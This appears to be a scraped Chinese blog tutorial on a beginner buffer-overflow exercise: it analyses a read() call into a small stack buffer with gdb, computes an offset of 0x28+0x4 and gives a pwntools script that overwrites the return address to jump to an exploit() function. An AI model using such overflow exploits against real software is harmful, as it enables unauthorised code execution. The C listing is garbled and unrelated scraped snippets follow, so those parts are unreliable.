乙個簡單的pwn例子 read函式

2021-10-04 05:35:37 字數 1456 閱讀 5517

內容:

#include

void

exploit()

void

func()

intmain()

我們要做的是利用溢位執行exploit函式

分析:

先執行func函式,func函式裡有個read函式,read函式會讀取我們在螢幕上輸入的內容,但不會檢查內容的多少,全部複製到str裡,但str只能訪問20個,如果超出這個值,會造成溢位,我們利用溢位,將ret的返回位址改為exlpoit的位址就可以取執行exploit函式了。

首先,把保護機制關了

gdb執行除錯

gdb 11.exe

start

我們再檢視func的反彙編

執行ret語句後就去執行mov eax,0x0,func函式呼叫了read函式,我們要利用read函式產生溢位,讓執行ret完去執行exploit函式。這個時候我們看看棧內容。

push ebp之前,esp的內容是mov eax,0x0的eip值,lea eax,[ebp-0x28]是read讀取內容的首位址,所以我們讓執行ret完去執行exploit函式,只需讓exploit的位址去覆蓋棧裡面mov eax,0x0的eip值,從ebp-0x28mov eax,0x0的eip值,位址相差0x28+0x4,因為在func函式裡先push 了edp,所以還要加上0x4。

利用程式:

from pwn import *

p=process

('./11.exe'

)//檔案路徑

offset =

0x28

+0x4

payload =

'a'*offset+

p32(

0x804843b

)//0x804843b是exploit首位址

p.sendline

(payload)

p.interactive

()

執行,成功獲得許可權

用乙個簡單的例子來理解python高階函式

用乙個簡單的例子來理解python高階函式 最近在用mailx傳送郵件,寫法大致如下.echo body mailx s title a corp.com,b corp.com 不知什麼原因,在一台機器上只要mailto中包含空格,郵件就傳送不出去.所以需要對收件人做規範化處理,即去除空格,去除多餘...

乙個簡單css例子

lang en charset utf 8 css講解title rel stylesheet href style.css body div dd xddaa hover abc ulli first child ulli last child ulli nth child 3 ulli only...

乙個簡單的json例子

名稱 年齡郵箱 response.setcontenttype text html charset utf 8 response.setheader cache control no cache jsonobject json new jsonobject try json.put jobs mem...